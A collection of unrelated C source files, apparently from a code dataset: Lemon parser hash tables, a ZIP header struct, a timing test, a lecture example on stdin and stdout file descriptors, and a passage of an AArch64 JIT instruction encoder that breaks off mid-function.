struct state *State_find(struct config *key)
{
unsigned h;
x3node *np;
if( x3a==0 ) return 0;
h = statehash(key) & (x3a->size-1);
np = x3a->ht[h];
while( np ){
if( statecmp(np->key,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Return an array of pointers to all data in the table.
** The array is obtained from malloc. Return NULL if memory allocation
** problems, or if the array is empty. */
struct state **State_arrayof()
{
struct state **array;
int i,arrSize;
if( x3a==0 ) return 0;
arrSize = x3a->count;
array = (struct state **)calloc(arrSize, sizeof(struct state *));
if( array ){
for(i=0; i<arrSize; i++) array[i] = x3a->tbl[i].data;
}
return array;
}
/* Hash a configuration */
PRIVATE unsigned confighash(struct config *a)
{
unsigned h=0;
h = h*571 + a->rp->index*37 + a->dot;
return h;
}
/* There is one instance of the following structure for each
** associative array of type "x4".
*/
struct s_x4 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x4node *tbl; /* The data stored here */
struct s_x4node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x4".
*/
typedef struct s_x4node {
struct config *data; /* The data */
struct s_x4node *next; /* Next entry with the same hash */
struct s_x4node **from; /* Previous link */
} x4node;
/* There is only one instance of the array, which is the following */
static struct s_x4 *x4a;
/* Allocate a new associative array */
void Configtable_init(){
if( x4a ) return;
x4a = (struct s_x4*)malloc( sizeof(struct s_x4) );
if( x4a ){
x4a->size = 64;
x4a->count = 0;
x4a->tbl = (x4node*)calloc(64, sizeof(x4node) + sizeof(x4node*));
if( x4a->tbl==0 ){
free(x4a);
x4a = 0;
}else{
int i;
x4a->ht = (x4node**)&(x4a->tbl[64]);
for(i=0; i<64; i++) x4a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int Configtable_insert(struct config *data)
{
x4node *np;
unsigned h;
unsigned ph;
if( x4a==0 ) return 0;
ph = confighash(data);
h = ph & (x4a->size-1);
np = x4a->ht[h];
while( np ){
if( Configcmp((const char *) np->data,(const char *) data)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x4a->count>=x4a->size ){
/* Need to make the hash table bigger */
int i,arrSize;
struct s_x4 array;
array.size = arrSize = x4a->size*2;
array.count = x4a->count;
array.tbl = (x4node*)calloc(arrSize, sizeof(x4node) + sizeof(x4node*));
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x4node**)&(array.tbl[arrSize]);
for(i=0; i<arrSize; i++) array.ht[i] = 0;
for(i=0; i<x4a->count; i++){
x4node *oldnp, *newnp;
oldnp = &(x4a->tbl[i]);
h = confighash(oldnp->data) & (arrSize-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x4a->tbl);
*x4a = array;
}
/* Insert the new data */
h = ph & (x4a->size-1);
np = &(x4a->tbl[x4a->count++]);
np->data = data;
if( x4a->ht[h] ) x4a->ht[h]->from = &(np->next);
np->next = x4a->ht[h];
x4a->ht[h] = np;
np->from = &(x4a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
struct config *Configtable_find(struct config *key)
{
int h;
x4node *np;
if( x4a==0 ) return 0;
h = confighash(key) & (x4a->size-1);
np = x4a->ht[h];
while( np ){
if( Configcmp((const char *) np->data,(const char *) key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Remove all data from the table. Pass each data to the function "f"
** as it is removed. ("f" may be null to avoid this step.) */
void Configtable_clear(int(*f)(struct config *))
{
int i;
if( x4a==0 || x4a->count==0 ) return;
if( f ) for(i=0; i<x4a->count; i++) (*f)(x4a->tbl[i].data);
for(i=0; i<x4a->size; i++) x4a->ht[i] = 0;
x4a->count = 0;
return;
}
|
the_stack_data/62638382.c
|
#include "stdint.h"
#define ZIP_HEADER_LEN 26
#define PACKED __attribute__ ((__packed__))
typedef unsigned long int size_t;
#define offsetof(type, member) __builtin_offsetof (type, member)
typedef union {
uint8_t raw[ZIP_HEADER_LEN];
struct {
uint16_t version; /* 0-1 */
uint16_t zip_flags; /* 2-3 */
uint16_t method; /* 4-5 */
uint16_t modtime; /* 6-7 */
uint16_t moddate; /* 8-9 */
uint32_t crc32 PACKED; /* 10-13 */
uint32_t cmpsize PACKED; /* 14-17 */
uint32_t ucmpsize PACKED; /* 18-21 */
uint16_t filename_len; /* 22-23 */
uint16_t extra_len; /* 24-25 */
} formatted PACKED;
} zip_header_t; /* PACKED - gcc 4.2.1 doesn't like it (spews warning) */
struct BUG_zip_header_must_be_26_bytes
{
// char BUG_zip_header_must_be_26_bytes[offsetof(zip_header_t, formatted.extra_len) + 2 == ZIP_HEADER_LEN ? 1 : -1];
char BUG_zip_header_must_be_26_bytes[offsetof(zip_header_t, formatted.extra_len) + 2 == ZIP_HEADER_LEN ? 1 : -1];
};
|
the_stack_data/242331912.c
|
/* multvec.c */
/* $begin multvec */
void multvec(int *x, int *y,
int *z, int n)
{
int i;
for (i = 0; i < n; i++)
z[i] = x[i] * y[i];
}
/* $end multvec */
|
the_stack_data/776170.c
|
//
// jfs9, 3/17/16 Performance test on C array
// 10/10/17 Check function of code
//
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int comp (const void * elem1, const void * elem2)
{
int f = *((int*)elem1);
int s = *((int*)elem2);
if (f > s) return 1;
if (f < s) return -1;
return 0;
}
int main()
{
// Generate data
const unsigned arraySize = 655566;
int data[arraySize];
for (unsigned c = 0; c < arraySize; ++c) {
/* data[c] = std::rand() % 256; */
data[c] = rand() % 256;
}
// sort the array in numerical order
//qsort(data, sizeof(data)/sizeof(*data), sizeof(*data), comp);
printf ("size of data = %d, size of *data = %d\n", sizeof(data), sizeof(*data) );
//
clock_t start = clock(); // start a timer
long long sum = 0;
for (unsigned i = 0; i < 20000; ++i)
{
// Primary loop
for (unsigned c = 0; c < arraySize; ++c)
{
if (data[c] >= 128) // add to sum only if element > 128
sum += data[c];
}
}
double elapsedTime = (double)(clock() - start) / CLOCKS_PER_SEC;
printf ("elapsed time = %3.5f\n", elapsedTime);
}
|
the_stack_data/171586.c
|
/*
* Author: Luke Hindman
* Date: Fri 30 Oct 2020 12:59:40 PM PDT
* Description: Example created for I/O Lecture
*/
#include <stdio.h>
#include <unistd.h>
int main(void) {
/* When a process is created, the operating system creates three File Descriptors
* and maps them into the process to represent Standard Input (stdin),
* Standard Output (stdout) and Standard Error (stderr). Each file descriptor
* has a cooresponding integer value.
*
* STDIN_FILENO - 0
* STDOUT_FILENO - 1
* STDERR_FILENO - 2
*
* These three file descriptors exist in every process, regardless of the
* language the application is written in. We can access these file descriptors
* directly by using the read() and write() system calls. To access these system
* calls, you must include <unistd.h>
*/
char buffer[20];
int count = 0;
char msg0[] = "Read/Write Example\n";
write(STDOUT_FILENO,msg0,20);
char msg1[] = "Please enter some text: ";
write(STDOUT_FILENO,msg1,25);
count = read(STDIN_FILENO,buffer,20);
char msg2[] = "You Entered: ";
write(STDOUT_FILENO,msg2,14);
write(STDOUT_FILENO,buffer,count);
/* Reading and writing raw bytes is difficult. The C Standard Library created
* the string by simply defining it as an array of characters terminiated by
* a NULL (\0) character. It then provided a larger number of functions that
* operate on string data.
*
* printf()
* scanf()
*
* strcpy, strcmp, strcat, etc...
*
* The C Standard Library also wrapped up the raw File Descriptors used above
* into FILE structs and then provides the FILE pointers below for use with
* C Standard Library functions and I/O streams.
*
* FILE *stdin
* FILE *stdout
* FILE *stderr
*
* fprintf()
* fscanf()
*
* These functions are provided in <stdio.h>
*/
// char buffer[20];
// fprintf(stdout,"fprintf/scanf example\n");
// fprintf(stdout,"Please enter some text: ");
// fscanf(stdin,"%19[^\n]",buffer);
// fprintf(stdout,"You Entered: %s\n",buffer);
/*
* The stdout and stderr output streams can both be used to display information
* in the console. The primary functional difference between the two
* is that stdout is line-buffered while stderr is not. This allow a performance
* improvement for text written to stdout, however it can also mean that
* some text may be lost if the program crashes before the buffer is flushed().
*/
// fprintf(stdout,"This example writes to the console using stdout\n");
// fprintf(stderr,"This example writes to the console using stderr\n");
return 0;
}
|
the_stack_data/79037.c
|
#ifdef __aarch64__
#include "codegen/instructions.h"
#include "codegen/aarch64/aarch64.h"
static int regToNo(Register reg) {
for(int i = 0; i < REG_COUNT; i++) {
if((reg & REG_X(i)) != 0) {
return i;
}
}
for(int i = 0; i < FREG_COUNT; i++) {
if((reg & REG_D(i)) != 0) {
return i;
}
}
return 31;
}
uint64_t getFreeRegister(RegisterSet regs) {
for(int i = 0; i < USER_REG_COUNT; i++) {
if((regs & REG_X(i)) == 0) {
return REG_X(i);
}
}
return 0;
}
uint64_t getFreeFRegister(RegisterSet regs) {
for(int i = 0; i < FREG_COUNT; i++) {
if((regs & REG_D(i)) == 0) {
return REG_D(i);
}
}
return 0;
}
uint64_t getUsedRegister(RegisterSet regs) {
for(int i = 0; i < USER_REG_COUNT; i++) {
if((regs & REG_X(i)) != 0) {
return REG_X(i);
}
}
return 0;
}
uint64_t getUsedFRegister(RegisterSet regs) {
for(int i = 0; i < FREG_COUNT; i++) {
if((regs & REG_D(i)) != 0) {
return REG_D(i);
}
}
return 0;
}
int countFreeRegister(RegisterSet regs) {
int ret = 0;
for(int i = 0; i < USER_REG_COUNT; i++) {
if((regs & REG_X(i)) == 0) {
ret++;
}
}
return ret;
}
int countFreeFRegister(RegisterSet regs) {
int ret = 0;
for(int i = 0; i < FREG_COUNT; i++) {
if((regs & REG_D(i)) == 0) {
ret++;
}
}
return ret;
}
uint64_t getFirstRegister() {
return REG_X(0);
}
uint64_t getFirstFRegister() {
return REG_D(0);
}
void addInstMovRegToReg(StackAllocator* mem, RegisterSet regs, Register dest, Register src) {
if (dest != src) {
Aarch64Instruction instr = { .instruction = 0, };
instr.logical_shift_reg.cnst0 = LOGICAL_SHIFT_REG_CNST0;
instr.logical_shift_reg.opc = LOGICAL_SHIFT_REG_OPC_ORR;
instr.logical_shift_reg.sf = 1;
instr.logical_shift_reg.rd = regToNo(dest);
instr.logical_shift_reg.rn = REG_SPECIAL;
instr.logical_shift_reg.rm = regToNo(src);
addInstruction(mem, instr);
}
}
size_t addInstMovImmToReg(StackAllocator* mem, RegisterSet regs, Register reg, int64_t value) {
size_t ret = mem->occupied;
for (int i = 0; i < 4; i++) {
Aarch64Instruction instr = { .instruction = 0, };
instr.move_imm.cnst0 = MOVE_IMM_CNST0;
instr.move_imm.opc = MOVE_IMM_OPC_MOVK;
instr.move_imm.sf = 1;
instr.move_imm.hw = i;
instr.move_imm.rd = regToNo(reg);
instr.move_imm.imm16 = (value >> (16 * i)) & 0xffff;
addInstruction(mem, instr);
}
return ret;
}
void addInstMovMemToReg(StackAllocator* mem, RegisterSet regs, Register reg, void* addr) {
addInstMovImmToReg(mem, regs, reg, (int64_t)addr);
addInstMovMemRegToReg(mem, regs, reg, reg);
}
void addInstMovRegToMem(StackAllocator* mem, RegisterSet regs, Register reg, void* addr) {
int free_reg = getFreeRegister(regs);
if(free_reg == 0) {
if (reg == REG_X(0)) {
free_reg = REG_X(1);
} else {
free_reg = REG_X(0);
}
addInstPush(mem, regs, free_reg);
addInstMovImmToReg(mem, regs, free_reg, (int64_t)addr);
addInstMovRegToMemReg(mem, regs, free_reg, reg);
addInstPop(mem, regs, free_reg);
} else {
addInstMovImmToReg(mem, regs, free_reg, (int64_t)addr);
addInstMovRegToMemReg(mem, regs, free_reg, reg);
}
}
void addInstMovMemRegToReg(StackAllocator* mem, RegisterSet regs, Register reg, Register addr) {
Aarch64Instruction instr = { .instruction = 0, };
instr.load_store_reg_unsi_imm.cnst0 = LOAD_STORE_REG_UNSI_IMM_CNST0;
instr.load_store_reg_unsi_imm.cnst1 = LOAD_STORE_REG_UNSI_IMM_CNST1;
instr.load_store_reg_unsi_imm.opc = LOAD_STORE_REG_UNSI_IMM_OPC_LDR;
instr.load_store_reg_unsi_imm.size = LOAD_STORE_REG_UNSI_IMM_SIZE_DOUBLE;
instr.load_store_reg_unsi_imm.v = 0;
instr.load_store_reg_unsi_imm.imm12 = 0;
instr.load_store_reg_unsi_imm.rn = regToNo(addr);
instr.load_store_reg_unsi_imm.rt = regToNo(reg);
addInstruction(mem, instr);
}
static void addInstMovRegToMemRegWithOff(StackAllocator* mem, RegisterSet regs, Register addr, Register reg, int off) {
Aarch64Instruction instr = { .instruction = 0, };
instr.load_store_reg_unsi_imm.cnst0 = LOAD_STORE_REG_UNSI_IMM_CNST0;
instr.load_store_reg_unsi_imm.cnst1 = LOAD_STORE_REG_UNSI_IMM_CNST1;
instr.load_store_reg_unsi_imm.opc = LOAD_STORE_REG_UNSI_IMM_OPC_STR;
instr.load_store_reg_unsi_imm.size = LOAD_STORE_REG_UNSI_IMM_SIZE_DOUBLE;
instr.load_store_reg_unsi_imm.v = 0;
instr.load_store_reg_unsi_imm.imm12 = off;
instr.load_store_reg_unsi_imm.rn = regToNo(addr);
instr.load_store_reg_unsi_imm.rt = regToNo(reg);
addInstruction(mem, instr);
}
void addInstMovRegToMemReg(StackAllocator* mem, RegisterSet regs, Register addr, Register reg) {
addInstMovRegToMemRegWithOff(mem, regs, addr, reg, 0);
}
void addInstJmpReg(StackAllocator* mem, RegisterSet regs, Register reg) {
Aarch64Instruction instr = { .instruction = 0, };
instr.uncond_branch_reg.cnst0 = UNCOND_BRANCH_REG_CNST0;
instr.uncond_branch_reg.op2 = UNCOND_BRANCH_REG_OP2_BR_BLR_RET;
instr.uncond_branch_reg.op3 = UNCOND_BRANCH_REG_OP3_BR_BLR_RET;
instr.uncond_branch_reg.op4 = UNCOND_BRANCH_REG_OP4_BR_BLR_RET;
instr.uncond_branch_reg.opc = UNCOND_BRANCH_REG_OPC_BR;
instr.uncond_branch_reg.rn = regToNo(reg);
addInstruction(mem, instr);
}
void addInstJmp(StackAllocator* mem, RegisterSet regs, void* to) {
int free_reg = getFreeRegister(regs);
if(free_reg == 0) {
free_reg = getFirstRegister();
addInstPush(mem, regs, free_reg);
addInstMovImmToReg(mem, regs, free_reg, (int64_t)to);
addInstJmpReg(mem, regs, free_reg);
addInstPop(mem, regs, free_reg);
} else {
addInstMovImmToReg(mem, regs, free_reg, (int64_t)to);
addInstJmpReg(mem, regs, free_reg);
}
}
size_t addInstJmpRel(StackAllocator* mem, RegisterSet regs, size_t to) {
size_t ret = mem->occupied;
uint32_t rel = to - mem->occupied;
Aarch64Instruction instr = { .instruction = 0, };
instr.uncond_branch_imm.cnst0 = UNCOND_BRANCH_IMM_CNST0;
instr.uncond_branch_imm.op = UNCOND_BRANCH_IMM_OP_B;
instr.uncond_branch_imm.imm26 = rel >> 2;
addInstruction(mem, instr);
return ret;
}
void addInstPush(StackAllocator* mem, RegisterSet regs, Register reg) {
Aarch64Instruction instr = { .instruction = 0, };
instr.load_store_reg_imm_pre.cnst0 = LOAD_STORE_REG_IMM_PRE_CNST0;
instr.load_store_reg_imm_pre.cnst1 = LOAD_STORE_REG_IMM_PRE_CNST1;
instr.load_store_reg_imm_pre.cnst2 = LOAD_STORE_REG_IMM_PRE_CNST2;
instr.load_store_reg_imm_pre.cnst3 = LOAD_STORE_REG_IMM_PRE_CNST3;
instr.load_store_reg_imm_pre.opc = LOAD_STORE_REG_IMM_PRE_OPC_STR;
instr.load_store_reg_imm_pre.size = LOAD_STORE_REG_IMM_PRE_SIZE_DOUBLE;
instr.load_store_reg_imm_pre.rn = REG_SPECIAL;
instr.load_store_reg_imm_pre.rt = regToNo(reg);
if(reg >= REG_D(0)) {
instr.load_store_reg_imm_post.v = 1;
} else {
instr.load_store_reg_imm_post.v = 0;
}
instr.load_store_reg_imm_pre.imm9 = -16;
addInstruction(mem, instr);
}
void addInstPop(StackAllocator* mem, RegisterSet regs, Register reg) {
Aarch64Instruction instr = { .instruction = 0, };
instr.load_store_reg_imm_post.cnst0 = LOAD_STORE_REG_IMM_POST_CNST0;
instr.load_store_reg_imm_post.cnst1 = LOAD_STORE_REG_IMM_POST_CNST1;
instr.load_store_reg_imm_post.cnst2 = LOAD_STORE_REG_IMM_POST_CNST2;
instr.load_store_reg_imm_post.cnst3 = LOAD_STORE_REG_IMM_POST_CNST3;
instr.load_store_reg_imm_post.opc = LOAD_STORE_REG_IMM_POST_OPC_LDR;
instr.load_store_reg_imm_post.size = LOAD_STORE_REG_IMM_POST_SIZE_DOUBLE;
instr.load_store_reg_imm_post.rn = REG_SPECIAL;
instr.load_store_reg_imm_post.rt = regToNo(reg);
if(reg >= REG_D(0)) {
instr.load_store_reg_imm_post.v = 1;
} else {
instr.load_store_reg_imm_post.v = 0;
}
instr.load_store_reg_imm_post.imm9 = 16;
addInstruction(mem, instr);
}
void addInstPushAll(StackAllocator* mem, RegisterSet regs, RegisterSet to_push) {
for(int i = 0; i < REG_COUNT; i++) {
if((to_push & REG_X(i)) != 0) {
addInstPush(mem, regs, REG_X(i));
}
}
for(int i = 0; i < FREG_COUNT; i++) {
if((to_push & REG_D(i)) != 0) {
addInstPush(mem, regs, REG_D(i));
}
}
}
void addInstPopAll(StackAllocator* mem, RegisterSet regs, RegisterSet to_pop) {
for(int i = FREG_COUNT - 1; i >= 0; i--) {
if((to_pop & REG_D(i)) != 0) {
addInstPop(mem, regs, REG_D(i));
}
}
for(int i = REG_COUNT - 1; i >= 0; i--) {
if((to_pop & REG_X(i)) != 0) {
addInstPop(mem, regs, REG_X(i));
}
}
}
void addInstCallBasicReg(StackAllocator* mem, RegisterSet regs, Register reg) {
Aarch64Instruction instr = { .instruction = 0, };
instr.uncond_branch_reg.cnst0 = UNCOND_BRANCH_REG_CNST0;
instr.uncond_branch_reg.op2 = UNCOND_BRANCH_REG_OP2_BR_BLR_RET;
instr.uncond_branch_reg.op3 = UNCOND_BRANCH_REG_OP3_BR_BLR_RET;
instr.uncond_branch_reg.op4 = UNCOND_BRANCH_REG_OP4_BR_BLR_RET;
instr.uncond_branch_reg.opc = UNCOND_BRANCH_REG_OPC_BLR;
instr.uncond_branch_reg.rn = regToNo(reg);
addInstruction(mem, instr);
}
void addInstCallBasic(StackAllocator* mem, RegisterSet regs, void* func) {
int free_reg = getFreeRegister(regs);
if(free_reg == 0) {
free_reg = getFirstRegister();
addInstPush(mem, regs, free_reg);
addInstMovImmToReg(mem, regs, free_reg, (int64_t)func);
addInstCallBasicReg(mem, regs, free_reg);
addInstPop(mem, regs, free_reg);
} else {
addInstMovImmToReg(mem, regs, free_reg, (int64_t)func);
addInstCallBasicReg(mem, regs, free_reg);
}
}
void addInstCallReg(StackAllocator* mem, RegisterSet regs, Register reg) {
addInstPush(mem, regs, REG_X(REG_LINK));
Aarch64Instruction instr = { .instruction = 0, };
instr.uncond_branch_reg.cnst0 = UNCOND_BRANCH_REG_CNST0;
instr.uncond_branch_reg.op2 = UNCOND_BRANCH_REG_OP2_BR_BLR_RET;
instr.uncond_branch_reg.op3 = UNCOND_BRANCH_REG_OP3_BR_BLR_RET;
instr.uncond_branch_reg.op4 = UNCOND_BRANCH_REG_OP4_BR_BLR_RET;
instr.uncond_branch_reg.opc = UNCOND_BRANCH_REG_OPC_BLR;
instr.uncond_branch_reg.rn = regToNo(reg);
addInstruction(mem, instr);
addInstPop(mem, regs, REG_X(REG_LINK));
}
void addInstCall(StackAllocator* mem, RegisterSet regs, void* func) {
int free_reg = getFreeRegister(regs);
if(free_reg == 0) {
free_reg = getFirstRegister();
addInstPush(mem, regs, free_reg);
addInstMovImmToReg(mem, regs, free_reg, (int64_t)func);
addInstCallReg(mem, regs, free_reg);
addInstPop(mem, regs, free_reg);
} else {
addInstMovImmToReg(mem, regs, free_reg, (int64_t)func);
addInstCallReg(mem, regs, free_reg);
}
}
size_t addInstCallRel(StackAllocator* mem, RegisterSet regs, size_t to) {
addInstPush(mem, regs, REG_X(REG_LINK));
size_t ret = mem->occupied;
uint32_t rel = to - mem->occupied;
Aarch64Instruction instr = { .instruction = 0, };
instr.uncond_branch_imm.cnst0 = UNCOND_BRANCH_IMM_CNST0;
instr.uncond_branch_imm.op = UNCOND_BRANCH_IMM_OP_BL;
instr.uncond_branch_imm.imm26 = rel >> 2;
addInstruction(mem, instr);
addInstPop(mem, regs, REG_X(REG_LINK));
return ret;
}
void addInstReturn(StackAllocator* mem, RegisterSet regs) {
Aarch64Instruction instr = { .instruction = 0, };
instr.uncond_branch_reg.cnst0 = UNCOND_BRANCH_REG_CNST0;
instr.uncond_branch_reg.op2 = UNCOND_BRANCH_REG_OP2_BR_BLR_RET;
instr.uncond_branch_reg.op3 = UNCOND_BRANCH_REG_OP3_BR_BLR_RET;
instr.uncond_branch_reg.op4 = UNCOND_BRANCH_REG_OP4_BR_BLR_RET;
instr.uncond_branch_reg.opc = UNCOND_BRANCH_REG_OPC_RET;
instr.uncond_branch_reg.rn = REG_LINK;
addInstruction(mem, instr);
}
void addInstAdd(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.add_shift_reg.cnst0 = ADD_SHIFT_REG_CNST0;
instr.add_shift_reg.cnst1 = ADD_SHIFT_REG_CNST1;
instr.add_shift_reg.op = ADD_SHIFT_REG_OP_ADD;
instr.add_shift_reg.s = 0;
instr.add_shift_reg.sf = 1;
instr.add_shift_reg.imm6 = 0;
instr.add_shift_reg.shift = 0;
instr.add_shift_reg.rn = regToNo(a);
instr.add_shift_reg.rm = regToNo(b);
instr.add_shift_reg.rd = regToNo(dest);
addInstruction(mem, instr);
}
void addInstSub(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.add_shift_reg.cnst0 = ADD_SHIFT_REG_CNST0;
instr.add_shift_reg.cnst1 = ADD_SHIFT_REG_CNST1;
instr.add_shift_reg.op = ADD_SHIFT_REG_OP_SUB;
instr.add_shift_reg.s = 0;
instr.add_shift_reg.sf = 1;
instr.add_shift_reg.imm6 = 0;
instr.add_shift_reg.shift = 0;
instr.add_shift_reg.rn = regToNo(a);
instr.add_shift_reg.rm = regToNo(b);
instr.add_shift_reg.rd = regToNo(dest);
addInstruction(mem, instr);
}
void addInstAnd(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.logical_shift_reg.cnst0 = LOGICAL_SHIFT_REG_CNST0;
instr.logical_shift_reg.opc = LOGICAL_SHIFT_REG_OPC_AND;
instr.logical_shift_reg.sf = 1;
instr.logical_shift_reg.shift = 0;
instr.logical_shift_reg.imm6 = 0;
instr.logical_shift_reg.n = 0;
instr.logical_shift_reg.rn = regToNo(a);
instr.logical_shift_reg.rm = regToNo(b);
instr.logical_shift_reg.rd = regToNo(dest);
addInstruction(mem, instr);
}
void addInstXor(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.logical_shift_reg.cnst0 = LOGICAL_SHIFT_REG_CNST0;
instr.logical_shift_reg.opc = LOGICAL_SHIFT_REG_OPC_EOR;
instr.logical_shift_reg.sf = 1;
instr.logical_shift_reg.shift = 0;
instr.logical_shift_reg.imm6 = 0;
instr.logical_shift_reg.n = 0;
instr.logical_shift_reg.rn = regToNo(a);
instr.logical_shift_reg.rm = regToNo(b);
instr.logical_shift_reg.rd = regToNo(dest);
addInstruction(mem, instr);
}
void addInstOr(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.logical_shift_reg.cnst0 = LOGICAL_SHIFT_REG_CNST0;
instr.logical_shift_reg.opc = LOGICAL_SHIFT_REG_OPC_ORR;
instr.logical_shift_reg.sf = 1;
instr.logical_shift_reg.shift = 0;
instr.logical_shift_reg.imm6 = 0;
instr.logical_shift_reg.n = 0;
instr.logical_shift_reg.rn = regToNo(a);
instr.logical_shift_reg.rm = regToNo(b);
instr.logical_shift_reg.rd = regToNo(dest);
addInstruction(mem, instr);
}
void addInstNot(StackAllocator* mem, RegisterSet regs, Register dest, Register a) {
Aarch64Instruction instr = { .instruction = 0, };
instr.logical_shift_reg.cnst0 = LOGICAL_SHIFT_REG_CNST0;
instr.logical_shift_reg.opc = LOGICAL_SHIFT_REG_OPC_ORR;
instr.logical_shift_reg.sf = 1;
instr.logical_shift_reg.shift = 0;
instr.logical_shift_reg.imm6 = 0;
instr.logical_shift_reg.n = 1;
instr.logical_shift_reg.rn = REG_SPECIAL;
instr.logical_shift_reg.rm = regToNo(a);
instr.logical_shift_reg.rd = regToNo(dest);
addInstruction(mem, instr);
}
void addInstMul(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.proc_reg_three_source.cnst0 = PROC_REG_THREE_SOURCE_CNST0;
instr.proc_reg_three_source.op54 = PROC_REG_THREE_SOURCE_OP54_ANY;
instr.proc_reg_three_source.op31 = PROC_REG_THREE_SOURCE_OP31_MADD_MSUB;
instr.proc_reg_three_source.o0 = PROC_REG_THREE_SOURCE_O0_ADD;
instr.proc_reg_three_source.sf = 1;
instr.proc_reg_three_source.rd = regToNo(dest);
instr.proc_reg_three_source.rn = regToNo(a);
instr.proc_reg_three_source.rm = regToNo(b);
instr.proc_reg_three_source.ra = REG_SPECIAL;
addInstruction(mem, instr);
}
void addInstDiv(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.proc_reg_two_source.cnst0 = PROC_REG_TWO_SOURCE_CNST0;
instr.proc_reg_two_source.cnst1 = PROC_REG_TWO_SOURCE_CNST1;
instr.proc_reg_two_source.opcode = PROC_REG_TWO_SOURCE_OPCODE_SDIV;
instr.proc_reg_two_source.sf = 1;
instr.proc_reg_two_source.s = 0;
instr.proc_reg_two_source.rd = regToNo(dest);
instr.proc_reg_two_source.rn = regToNo(a);
instr.proc_reg_two_source.rm = regToNo(b);
addInstruction(mem, instr);
}
void addInstMSub(StackAllocator* mem, RegisterSet regs, Register dest, Register n, Register m, Register a) {
Aarch64Instruction instr = { .instruction = 0, };
instr.proc_reg_three_source.cnst0 = PROC_REG_THREE_SOURCE_CNST0;
instr.proc_reg_three_source.op54 = PROC_REG_THREE_SOURCE_OP54_ANY;
instr.proc_reg_three_source.op31 = PROC_REG_THREE_SOURCE_OP31_MADD_MSUB;
instr.proc_reg_three_source.o0 = PROC_REG_THREE_SOURCE_O0_SUB;
instr.proc_reg_three_source.sf = 1;
instr.proc_reg_three_source.rd = regToNo(dest);
instr.proc_reg_three_source.rn = regToNo(n);
instr.proc_reg_three_source.rm = regToNo(m);
instr.proc_reg_three_source.ra = regToNo(a);
addInstruction(mem, instr);
}
void addInstRem(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
int free_reg = getFreeRegister(regs);
if(free_reg == 0) {
if (a != REG_X(3) && b != REG_X(3) && dest != REG_X(3)) {
free_reg = REG_X(3);
} else if (a != REG_X(2) && b != REG_X(2) && dest != REG_X(2)) {
free_reg = REG_X(2);
} else if (a != REG_X(1) && b != REG_X(1) && dest != REG_X(1)) {
free_reg = REG_X(1);
} else {
free_reg = REG_X(0);
}
addInstPush(mem, regs, free_reg);
addInstDiv(mem, regs, free_reg, a, b);
addInstMSub(mem, regs, dest, free_reg, b, a);
addInstPop(mem, regs, free_reg);
} else {
addInstDiv(mem, regs, free_reg, a, b);
addInstMSub(mem, regs, dest, free_reg, b, a);
}
}
void addInstCmp(StackAllocator* mem, RegisterSet regs, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.add_shift_reg.cnst0 = ADD_SHIFT_REG_CNST0;
instr.add_shift_reg.cnst1 = ADD_SHIFT_REG_CNST1;
instr.add_shift_reg.op = ADD_SHIFT_REG_OP_SUB;
instr.add_shift_reg.s = 1;
instr.add_shift_reg.sf = 1;
instr.add_shift_reg.imm6 = 0;
instr.add_shift_reg.shift = 0;
instr.add_shift_reg.rn = regToNo(a);
instr.add_shift_reg.rm = regToNo(b);
instr.add_shift_reg.rd = REG_SPECIAL;
addInstruction(mem, instr);
}
void addInstFCmp(StackAllocator* mem, RegisterSet regs, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.fp_cmp.cnst0 = FP_CMP_CNST0;
instr.fp_cmp.cnst1 = FP_CMP_CNST1;
instr.fp_cmp.cnst2 = FP_CMP_CNST2;
instr.fp_cmp.cnst3 = FP_CMP_CNST3;
instr.fp_cmp.opcode2 = FP_CMP_OPCODE2_FCMP;
instr.fp_cmp.ptype = FP_CMP_PTYPE_DOUBLE;
instr.fp_cmp.m = 0;
instr.fp_cmp.op = 0;
instr.fp_cmp.s = 0;
instr.fp_cmp.rn = regToNo(a);
instr.fp_cmp.rm = regToNo(b);
addInstruction(mem, instr);
}
size_t addInstCondJmpRel(StackAllocator* mem, RegisterSet regs, JmpCondistions cond, Register a, Register b, size_t to) {
if(a < REG_D(0)) {
addInstCmp(mem, regs, a, b);
} else {
addInstFCmp(mem, regs, a, b);
}
size_t ret = mem->occupied;
uint32_t rel = to - mem->occupied;
Aarch64Instruction instr = { .instruction = 0, };
instr.cond_branch_imm.cnst0 = COND_BRANCH_IMM_CNST0;
instr.cond_branch_imm.o0 = 0;
instr.cond_branch_imm.o1 = 0;
instr.cond_branch_imm.imm19 = rel >> 2;
switch(cond) {
case COND_EQ:
instr.cond_branch_imm.cond = COND_BRANCH_IMM_COND_EQ;
break;
case COND_NE:
instr.cond_branch_imm.cond = COND_BRANCH_IMM_COND_NE;
break;
case COND_GT:
